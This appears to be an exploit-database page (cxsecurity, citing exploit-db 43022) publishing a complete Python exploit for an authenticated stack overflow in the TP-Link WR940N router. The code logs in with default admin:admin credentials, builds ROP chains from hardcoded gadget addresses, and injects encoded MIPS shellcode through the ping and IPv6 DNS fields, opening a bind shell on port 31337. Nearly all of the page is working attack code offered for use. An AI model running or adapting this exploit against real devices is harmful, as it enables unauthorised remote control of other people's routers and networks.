TP-Link WR940N - Authenticated Remote Code Exploit

2017.10.21
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#Author: Fidus infoSecurity #Plublished: Informacion - Anonymous #Vendor: http://www.tp-link.com/co/ #Date: 2017-10-17 #Platform: Hardware #Type: Webapps #===========================================================# import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( "___________________________________________________________________________\n" "WR940N Authenticated Remote Code Exploit\n" "This exploit will open a bind shell on the remote target\n" "The port is 31337, you can change that in the code if you wish\n" "This exploit requires authentication, if you know the creds, then\n" "use the -u -p options, otherwise default is admin:admin\n" "___________________________________________________________________________" ) def login(ip, user, pwd): print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd) #### Generate the auth cookie of the form b64enc('admin:' + md5('admin')) hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print "[+] Encoded authorisation: %s" %encoded_string #### Send the request url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" print "[+] sending login to " + url req = urllib2.Request(url) req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3]) print "[+] Got random path for next stage, url is now %s" %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder "\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99" "\x27\xb2\x05\x4b" #0x27b2059f for first_exploit "\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9" "\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41" "\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d" "\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71" "\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d" "\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99" "\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5" "\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad" "\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9" "\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1" "\x02\x2a\x18\x26\xae\x43\xff\xc1" #sleep "\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08" "\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c" ################ encoded shellcode ############### "\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06" "\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff" "\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d" "\x7a\x69" #<————————- PORT 0x7a69 (31337) "\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad" "\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc" "\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01" "\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48" "\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f" "\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c" "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce" "\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8" "\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02" "\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c" ) ###### useful gadgets ####### nop = "\x22\x51\x44\x44" gadg_1 = "\x2A\xB3\x7C\x60" gadg_2 = "\x2A\xB1\x78\x40" sleep_addr = "\x2a\xb3\x50\x90" stack_gadg = "\x2A\xAF\x84\xC0" call_code = "\x2A\xB2\xDC\xF0" def first_exploit(url, auth): # trash $s1 $ra rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4 rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'} new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params) print "[+] sending exploit..." print "[+] Wait a couple of seconds before connecting" print "[+] When you are finished do http -r to reset the http service" req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "DiagnosticRpm.htm") resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + "WanStaticIpV6CfgRpm.htm?" # trash s0 s1 s2 s3 s4 ret shellcode payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4 payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7 print len(payload) params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1', 'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000', 'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA', 'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'} new_url = url + urllib.urlencode(params) print "[+] sending exploit…" print "[+] Wait a couple of seconds before connecting" print "[+] When you are finished do http -r to reset the http service" req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm") resp = urllib2.urlopen(req) if __name__ == '__main__': print banner username = "admin" password = "admin" parser = OptionParser() parser.add_option("-t", "–target", dest="host", help="target ip address") parser.add_option("-u", "–user", dest="username", help="username for authentication", default="admin") parser.add_option("-p", "–password", dest="password", help="password for authentication", default="admin") (options, args) = parser.parse_args() if options.host is None: parser.error("[x] A host name is required at the minimum [x]") if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string).

References:

https://www.exploit-db.com/exploits/43022/
https://www.facebook.com/Informacion-Anonymous-611394289006994/
https://www.exploit-db.com/download/43022/


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top